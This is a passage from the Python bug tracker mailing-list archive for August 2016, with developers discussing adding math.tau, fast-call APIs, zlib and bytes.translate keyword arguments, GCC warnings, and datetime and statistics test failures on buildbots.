derived constants, used way more often than tau? In case you can't tell, I'm opposed to adding tau, although fwiw I do think it would be nice to add some of the other constants I mentioned above like euler_gamma to math, and in general, I support adding more stuff to math (but only generally useful stuff, obviously; there's no need to port all of scipy.special, for instance). As an aside, a technical note on the patch: for consistency, it should also be added to the cmath library (pardon me if I misread the patch and that's already happening). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 15:55:10 2016 From: report at bugs.python.org (R. David Murray) Date: Thu, 11 Aug 2016 19:55:10 +0000 Subject: [issue27739] add math.sign/signum In-Reply-To: <1470931833.72.0.660123073724.issue27739@psf.upfronthosting.co.za> Message-ID: <1470945310.63.0.451780652802.issue27739@psf.upfronthosting.co.za> R. David Murray added the comment: This has been previously discussed and rejected, in issue 829370. ---------- nosy: +r.david.murray resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> math.signum(int) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:04:38 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 20:04:38 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470945878.4.0.353663702643.issue12345@psf.upfronthosting.co.za> Stefan Krah added the comment: Aaron, I may be wrong, but I understood this to be something like: >>> from __future__ import barry_as_FLUFL >>> 3 <> 10 True I *do* hope sympy supports that! :-) ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:05:03 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 20:05:03 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470945903.3.0.476843554273.issue27128@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > Do you suggest to not add these 2 new functions? Yes, I suggest to not add them. The API for calling is already too large. Internally we can directly use _PyObject_FastCall(), and third party code should get benefit from optimized PyObject_CallFunctionObjArgs(). > > Can existing function PyObject_Call() be optimized to achieve a > > comparable benefit? > Sorry, I don't understand. This function requires a tuple. The whole > purpose of my patch is to avoid temporary tuples. Sorry, I meant PyObject_CallFunctionObjArgs() and like. > Keyword arguments are optional. Having support for them cost nothing when > they are not used. My point is that if keyword arguments are used, this is not a fast call, and should use old calling protocol. The overhead of creating a tuple for args is dwarfen by the overhead of creating a dict for kwargs and parsing it. > I really want to have a "pystack" API. In this patch, the new file looks > useless, but in the full patch there are many functions including a few > complex functions. I prefer to add the file now and complete it later. But for now there is no a "pystack" API. What do you want to add? Can it be added with prefixes PyDict_, PyArg_ or PyEval_? On other side, other code can get a benefit from using _PyTuple_FromArray(). Here is alternative simplified patch. 1) _PyStack_AsTuple() is renamed to _PyTuple_FromArray() (-2 new files). 2) Optimized PyObject_CallFunctionObjArgs(), PyObject_CallMethodObjArgs() and _PyObject_CallMethodIdObjArgs(). 3) Removed PyObject_CallNoArg() and PyObject_CallArg1(). Invocations are replaced by PyObject_CallFunctionObjArgs(). 4) Removed support of keyword arguments in _PyObject_FastCall() (saved about 20 lines and few runtime checks in _PyCFunction_FastCall). 5) Reverted changes in Objects/descrobject.c. They added a regression in namedtuple attributes access. ---------- Added file: http://bugs.python.org/file44079/fast_call_alt.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:16:11 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 20:16:11 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470946571.17.0.552192788841.issue23545@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Just add -Wno-type-limits. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:23:56 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 20:23:56 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470947036.49.0.140057650309.issue16764@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Xiang Zhang, could you please provide results of benchmarking zlib.decompress and decompressobj.decompress in simplest case with and without the patch? PyArg_ParseTupleAndKeywords can be slower than PyArg_ParseTuple even for positional arguments, and we should know how much. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:49:12 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 11 Aug 2016 20:49:12 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1470948552.08.0.0782681834561.issue27506@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PyArg_ParseTupleAndKeywords can be slower than PyArg_ParseTuple even for positional arguments. We need benchmarking results (especially after committing a patch for issue27574). What is the purpose of adding support of the delete argument as keyword arguments? It looks to me, that the only purpose is allowing to specify the delete argument without specifying the table argument. There are two alternative ways to achieve this: make translate() accepting some special value (e.g. None) as the default value for the first argument: b'hello'.translate(None, b'l') or make translate() accepting the delete argument as keyword argument: b'hello'.translate(delete=b'l') The patch does both things, but only one is needed. If add the support of the delete argument as keyword argument, I would prefer to not add the support of None as the first argument, but would specify its default value as bytes(range(256)): table: object(c_default="NULL") = bytes(range(256)) / delete as deletechars: object(c_default="NULL") = b'' I don't know why optional group was used here, the function could be implemented without it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 16:55:52 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 11 Aug 2016 20:55:52 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470948952.31.0.410632852403.issue12345@psf.upfronthosting.co.za> Emanuel Barry added the comment: I think that whether or not something is trivial doesn't really correlate to whether or not it has its place in the language. After all, `math.pi` is 3.1416, and most people using pi will not worry about more than 4 decimal digits. Those who do are presumably using something better than floating-point arithmetic to begin with ;) For yet another colour to paint this tiny bikeshed, maybe we could put new constants in something like `math.constants`, with aliases to existing ones. Of course, I don't mean to point out how ridiculously disproportioned this discussion is, but... ---------- nosy: +ebarry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 17:28:28 2016 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 11 Aug 2016 21:28:28 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1470941108.27.0.146760950385.issue12345@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: Let those other libraries follow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 17:49:59 2016 From: report at bugs.python.org (Aaron Meurer) Date: Thu, 11 Aug 2016 21:49:59 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470952199.72.0.644057386149.issue12345@psf.upfronthosting.co.za> Aaron Meurer added the comment: Emanuel Barry, that is both untrue and irrelevant (sorry to be blunt, but that's a total straw man on my and I believe other's argument). The fact that the only mathematical constants in math are pi and e (nan and inf aren't really "mathematical" constants) *does* indicate to me that only the really important ones are included. GvR, are you also in favor of adding more math constants/functions to the math module? I do see the value of Easter eggs in the language, but two real constants and one Easter egg constant seems weirder than ten real constants and one Easter egg constant. I'm +1/(2*pi) (because I still think tau in general is stupid) to add it if it also means the math module can be expanded. And before you ask, yes, I'll be happy to contribute once things move to GitHub. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 19:48:21 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 23:48:21 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1470959301.89.0.998326348404.issue27506@psf.upfronthosting.co.za> Martin Panter added the comment: I agree it would be worth checking for a slowdown. As well as giving the option of omitting the table argument, it would make call sites easier to read. It would avoid suggesting that the first argument is translated to the second, like maketrans(). data = data.translate(YENC_TABLE, delete=b"\r\n") Translate() already accepts None as the first argument; this is not new: >>> b"hello".translate(None, b"l") b'heo' I guess the optional group was used as a way of making the second argument optional without a specific default value. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 20:13:37 2016 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 12 Aug 2016 00:13:37 +0000 Subject: [issue12345] Add math.tau In-Reply-To: Message-ID: Guido van Rossum added the comment: FWIW I don't plan to have more constants there, at the current rate we'll be fine for centuries. :-) What worries me more is proposals to add Python functions to math... --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 21:04:22 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 01:04:22 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1470963862.0.0.615484461146.issue27181@psf.upfronthosting.co.za> Martin Panter added the comment: Tests fail on a Power PC buildbot: http://buildbot.python.org/all/builders/PPC64LE%20Fedora%203.x/builds/1476/steps/test/logs/stdio ====================================================================== FAIL: testExactPowers (test.test_statistics.Test_Nth_Root) (i=29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64le/build/Lib/test/test_statistics.py", line 1216, in testExactPowers self.assertEqual(self.nroot(x, n), i) AssertionError: 29.000000000000004 != 29 ====================================================================== FAIL: testExactPowersNegatives (test.test_statistics.Test_Nth_Root) (i=-29, n=11) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64le/build/Lib/test/test_statistics.py", line 1228, in testExactPowersNegatives self.assertEqual(self.nroot(x, n), i) AssertionError: -29.000000000000004 != -29 ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 22:01:06 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 02:01:06 +0000 Subject: [issue24773] Implement PEP 495 (Local Time Disambiguation) In-Reply-To: <1438456647.64.0.191464539374.issue24773@psf.upfronthosting.co.za> Message-ID: <1470967266.7.0.426797816283.issue24773@psf.upfronthosting.co.za> Martin Panter added the comment: Both parts of your commit seem to have helped. However I found two failures still happening, and one new failure: 1. Casablanca and El_Aaiun still failing since the original commit: http://buildbot.python.org/all/builders/PPC64%20Fedora%203.x/builds/1318/steps/test/logs/stdio ====================================================================== FAIL: test_system_transitions (test.datetimetester.ZoneInfoTest[Africa/El_Aaiun]) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Lib/test/datetimetester.py", line 4781, in test_system_transitions self.assertEquivDatetimes(sdt, tzdt) File "/home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Lib/test/datetimetester.py", line 4706, in assertEquivDatetimes (b.replace(tzinfo=None), b.fold, id(b.tzinfo))) AssertionError: Tuples differ: (datetime.datetime(2037, 10, 10, 3, 0), 0, 271733936) != (datetime.datetime(2037, 10, 10, 2, 0, fold=1), 1, 271733936) First differing element 0: datetime.datetime(2037, 10, 10, 3, 0) datetime.datetime(2037, 10, 10, 2, 0, fold=1) - (datetime.datetime(2037, 10, 10, 3, 0), 0, 271733936) ? ^ ^ + (datetime.datetime(2037, 10, 10, 2, 0, fold=1), 1, 271733936) ? ^ ++++++++ ^ 2. The two Gentoo buildbots started failing at some point _after_ the original commit. The corresponding commit (b04560c3ce69) is not relevant to datetime. http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x/builds/1219/steps/test/logs/stdio ====================================================================== ERROR: test_folds (test.datetimetester.ZoneInfoTest[Asia/Qyzylorda]) ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4694, in setUp self.tz = ZoneInfo.fromname(self.zonename) File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4527, in fromname return cls.fromfile(f) File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4519, in fromfile self = cls(ut, ti) File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4472, in __init__ self.lt = self.invert(ut, ti) File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4482, in invert lt[0][i] += ti[i-1][0] // SEC OverflowError: Python int too large to convert to C long 3. It looks like removing the sizeof_time_t skip re-introduced a year 2037 failure for Cairo, although many other tests (e.g. New_York) that were skipped are now passing: http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x/builds/1228/steps/test/logs/stdio ====================================================================== FAIL: test_system_transitions (test.datetimetester.ZoneInfoTest[Africa/Cairo]) ---------------------------------------------------------------------- Traceback (most recent call last): File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4781, in test_system_transitions self.assertEquivDatetimes(sdt, tzdt) File "/buildbot/buildarea/3.x.ware-gentoo-x86/build/Lib/test/datetimetester.py", line 4706, in assertEquivDatetimes (b.replace(tzinfo=None), b.fold, id(b.tzinfo))) AssertionError: Tuples differ: (datetime.datetime(2037, 10, 9, 0, 0), 0, 137328448) != (datetime.datetime(2037, 10, 8, 23, 0, fold=1), 1, 137328448) First differing element 0: datetime.datetime(2037, 10, 9, 0, 0) datetime.datetime(2037, 10, 8, 23, 0, fold=1) - (datetime.datetime(2037, 10, 9, 0, 0), 0, 137328448) ? ^ ^ ^ + (datetime.datetime(2037, 10, 8, 23, 0, fold=1), 1, 137328448) ? ^ ++++ ^^^^^^ ^ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 22:58:01 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 02:58:01 +0000 Subject: [issue25825] AIX shared library extension modules installation broken In-Reply-To: <1449602974.51.0.754649695687.issue25825@psf.upfronthosting.co.za> Message-ID: <1470970681.67.0.54235934882.issue25825@psf.upfronthosting.co.za> Martin Panter added the comment: Patch1 looks fine to me, though I will have to rely on you people to verify that it does what it?s supposed to. Do you want me to commit it straight away, or wait for your follow-up patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 23:14:18 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 12 Aug 2016 03:14:18 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470971658.23.0.947459858169.issue16764@psf.upfronthosting.co.za> Xiang Zhang added the comment: OK. Simplest test with positional arguments. Without patch: ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz")' 'zlib.decompress(a, 15, 16384)' 1000000 loops, best of 3: 0.841 usec per loop ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz"); do = zlib.decompressobj()' 'do.decompress(a, 100)' 10000 loops, best of 3: 16 usec per loop With patch: ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz")' 'zlib.decompress(a, 15, 16384)' 1000000 loops, best of 3: 0.843 usec per loop ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz"); do = zlib.decompressobj()' 'do.decompress(a, 100)' 10000 loops, best of 3: 16.1 usec per loop But, with keyword specified, there is a degrade. ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz")' 'zlib.decompress(a, wbits=15, bufsize=16384)' 1000000 loops, best of 3: 1.26 usec per loop ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz"); do = zlib.decompressobj()' 'do.decompress(a, max_length=100)' 10000 loops, best of 3: 16.8 usec per loop But with large data, the difference is gone: ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz"*10000)' 'zlib.decompress(a, 15, 16384)' 1000 loops, best of 3: 252 usec per loop # without patch ./python -m timeit -s 'import zlib; a = zlib.compress(b"abcdefghijklmnopqrstuvwxyz"*10000)' 'zlib.decompress(a, wbits=15, bufsize=16384)' 1000 loops, best of 3: 252 usec per loop # with patch So I think it's OK for this change. There seems no performance degrade to old code. And considering that zlib usually does time consuming tasks (I don't think it's common to decompress such small data), the small slower down seems affordable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 23:20:18 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 03:20:18 +0000 Subject: [issue27614] Race in test_docxmlrpc.py In-Reply-To: <1469459139.76.0.959920407285.issue27614@psf.upfronthosting.co.za> Message-ID: <1470972018.2.0.620858442969.issue27614@psf.upfronthosting.co.za> Martin Panter added the comment: Thanks for the explanation. It seems a bit strange that the server thread was running so slow while the main thread did one thousand polls over at least one second. Perhaps there is a blocking DNS call hidden somewhere in it somewhere? In any case, I am pretty confident my patch should help, so I will commit it unless there are any objections. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 23:39:09 2016 From: report at bugs.python.org (Lisa Roach) Date: Fri, 12 Aug 2016 03:39:09 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470973149.21.0.096519743837.issue12345@psf.upfronthosting.co.za> Lisa Roach added the comment: I've updated the test to assert tau is equal to 2*math.pi, as well as updated the docs and cmath. Let me know if I have made any errors! ---------- nosy: +lisroach Added file: http://bugs.python.org/file44080/tau3.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 00:05:07 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 04:05:07 +0000 Subject: [issue27348] traceback (and threading) drops exception message In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za> Message-ID: <1470974707.13.0.35562867425.issue27348@psf.upfronthosting.co.za> Martin Panter added the comment: Have you had any luck reviewing this Robert? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 00:24:39 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 04:24:39 +0000 Subject: [issue12887] Documenting all SO_* constants in socket module In-Reply-To: <1314987180.49.0.607596056761.issue12887@psf.upfronthosting.co.za> Message-ID: <1470975879.86.0.386635950303.issue12887@psf.upfronthosting.co.za> Martin Panter added the comment: See also Issue 27409, where I am proposing to list the SO_* and other constants by name (with associated Python version and whether they are missing on some platforms), but without descriptions. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 00:26:11 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 04:26:11 +0000 Subject: [issue1732367] Document the constants in the socket module Message-ID: <1470975971.91.0.379784798833.issue1732367@psf.upfronthosting.co.za> Martin Panter added the comment: Issue 12887 is open to add explanations of the SO_* constants ---------- dependencies: +Documenting all SO_* constants in socket module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 00:36:35 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 12 Aug 2016 04:36:35 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1470976595.25.0.945480901758.issue27506@psf.upfronthosting.co.za> Xiang Zhang added the comment: So let's do a simple benchmark. # without patch ./python -m timeit -s 'string=bytes(range(256));table=bytes(range(255, -1, -1));delete=b"abcdefghijklmn"' 'string.translate(table, delete)' 1000000 loops, best of 3: 0.55 usec per loop # with patch ./python -m timeit -s 'string=bytes(range(256));table=bytes(range(255, -1, -1));delete=b"abcdefghijklmn"' 'string.translate(table, delete)' 1000000 loops, best of 3: 0.557 usec per loop # keyword specified ./python -m timeit -s 'string=bytes(range(256));table=bytes(range(255, -1, -1));delete=b"abcdefghijklmn"' 'string.translate(table, delete=delete)' 1000000 loops, best of 3: 0.771 usec per loop >From my observation, the difference between PyArg_ParseTupleAndKeywords and PyArg_ParseTuple when parsing positional arguments is very small. This means it won't make old code slowdown by a large percent. And when keyword argument is specified, there is a degrade. But I think this happens everywhere using PyArg_ParseTupleAndKeywords. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 01:29:41 2016 From: report at bugs.python.org (INADA Naoki) Date: Fri, 12 Aug 2016 05:29:41 +0000 Subject: [issue26081] Implement asyncio Future in C to improve performance In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za> Message-ID: <1470979781.62.0.623107269159.issue26081@psf.upfronthosting.co.za> INADA Naoki added the comment: Implemented FutureIter ---------- Added file: http://bugs.python.org/file44081/futures.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 01:30:37 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 05:30:37 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470979837.18.0.100770084021.issue23545@psf.upfronthosting.co.za> Antti Haapala added the comment: I don't think adding -Wno-type-limits is a good idea. The good question is how that can be happening, e.g. how PY_SSIZE_T_MAX divided by sizeof anything can be *more* than max(size_t)? E.g now that I stare at the code, *that* warning should be impossible if everything is correct. It means either that the RHS is negative or size_t is defined to be 32-bit in this compilation unit whereas PY_SSIZE_T is 64-bit. Neither sound like a good idea. ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 01:54:28 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 12 Aug 2016 05:54:28 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470981268.17.0.233844073723.issue23545@psf.upfronthosting.co.za> Martin Panter added the comment: I didn?t look too closely, but I did see that _ssl_locks_count is unsigned int. I was compiling for x86-64 Linux, where int is 32 bits and size_t is 64. So maybe GCC was optimizing the (size_t) cast away, and then rightfully warning that the largest unsigned int will never exceed the largest possible array size. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 02:20:03 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 12 Aug 2016 06:20:03 +0000 Subject: [issue27574] Faster parsing keyword arguments In-Reply-To: <1468944235.85.0.107735525995.issue27574@psf.upfronthosting.co.za> Message-ID: <1470982803.35.0.358868989237.issue27574@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 02:31:07 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 12 Aug 2016 06:31:07 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1470983467.23.0.532031662452.issue27736@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +ned.deily priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 02:44:45 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 12 Aug 2016 06:44:45 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470984285.82.0.253732482179.issue23545@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Seems GCC is such smart, that can deduce that the maximal value of _ssl_locks_count is never larger than PY_SSIZE_T_MAX / sizeof(PyThread_type_lock). The other workaround is making _ssl_locks_count of type size_t instead of unsigned int, but I wouldn't do this with good reasons. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 03:30:03 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 07:30:03 +0000 Subject: [issue23545] Turn on extra warnings on GCC In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za> Message-ID: <1470987003.68.0.575098016276.issue23545@psf.upfronthosting.co.za> Antti Haapala added the comment: Ah, indeed, I somehow missed that. Though, there is no good reason for it being unsigned either; as the actual type in SSL API's is of type int. Another argument of type int is cast to unsigned just for the comparison on line 4419, and unsigned int counters i and j are used in function _setup_ssl_threads. The variable could be safely changed to `size_t` (along with those index variables) without it affecting anything at all, as it is a static variable within that module and only used to hold a size of an array, and never passed back to another function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 03:38:32 2016 From: report at bugs.python.org (Antti Haapala) Date: Fri, 12 Aug 2016 07:38:32 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1470987512.66.0.620110585299.issue27128@psf.upfronthosting.co.za> Antti Haapala added the comment: About "I hesitate between the C types "int" and "Py_ssize_t" for nargs. I read once that using "int" can cause performance issues on a loop using "i++" and "data[i]" because the compiler has to handle integer overflow of the int type." This is true because of -fwrapv, but I believe it is true also for Py_ssize_t which is also of signed type. However, there would be a speed-up achievable by disabling -fwrapv, because only then the i++; data[i] can be safely optimized into *(++data) ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 03:44:40 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 12 Aug 2016 07:44:40 +0000 Subject: [issue27181] Add geometric mean to `statistics` module In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za> Message-ID: <1470987880.25.0.805744755142.issue27181@psf.upfronthosting.co.za> Mark Dickinson added the comment: What no patch for pre-commit review?! For computing nth roots, it may be worth special-casing the case n=2: for floats, `math.sqrt` is likely to be faster and more precise than an ad-hoc algorithm. (Indeed, I'd expect it to be perfectly correctly rounded on the vast majority of current machines.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 04:43:39 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 12 Aug 2016 08:43:39 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470991419.98.0.534201328075.issue12345@psf.upfronthosting.co.za> Mark Dickinson added the comment: The unification of tau2.diff and tau3.diff LGTM; thanks, Lisa! My commit bit is broken at the moment; anyone in a position to apply those patches? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 04:47:14 2016 From: report at bugs.python.org (Wolfgang Rohdewald) Date: Fri, 12 Aug 2016 08:47:14 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 Message-ID: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> New submission from Wolfgang Rohdewald: The documentation promises backwards compatible seeders. I understand this as such that they generate the same random sequences. But for Python 2.7.12 and 3.5.2 this is not so, even if I pass an integer as seed value. The attached script returns different values. Maybe I misunderstand the documentation - I believe it means that seed(version=1) uses the backwards compatible seeder, but it does not say so explicitly. If that is not so, the documentation does not say how to invoke the backwards compatible seeder. ---------- components: Library (Lib) files: r.py messages: 272506 nosy: wrohdewald priority: normal severity: normal status: open title: Random.seed(5, version=1) generates different values in PYthon2 and Python3 versions: Python 2.7, Python 3.5 Added file: http://bugs.python.org/file44082/r.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:06:08 2016 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 12 Aug 2016 09:06:08 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470992768.21.0.223329478975.issue12345@psf.upfronthosting.co.za> Mark Dickinson added the comment: BTW, if we're talking about useless constants in the math module, it's hard to get more useless than `math.e`: it's rare for `e` to turn up in formulas except in the form `e**`, and the latter case is better catered for by the more accurate (and usually faster) expression `exp(`. I'd even go so far as to call `math.e` *worse* than useless, since its presence leads people astray by encouraging them to write `math.e**x` instead of `exp(x)`. To give just one example, on my machine, the result of `exp(500)` has an error of 0.42 ulps, while `math.e**500` gives an error of over 150 ulps. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:07:13 2016 From: report at bugs.python.org (SilentGhost) Date: Fri, 12 Aug 2016 09:07:13 +0000 Subject: [issue27742] Random.seed(5, version=1) generates different values in PYthon2 and Python3 In-Reply-To: <1470991634.5.0.402741312706.issue27742@psf.upfronthosting.co.za> Message-ID: <1470992833.97.0.88769009121.issue27742@psf.upfronthosting.co.za> SilentGhost added the comment: The rnd.random is still producing the same sequence, between versions. randint evidently doesn't, but that must be happening elsewhere. ---------- components: +Extension Modules nosy: +SilentGhost, mark.dickinson, rhettinger type: -> behavior versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 12 05:20:04 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 12 Aug 2016 09:20:04 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470993604.63.0.08397967641.issue12345@psf.upfronthosting.co.za> Serhiy 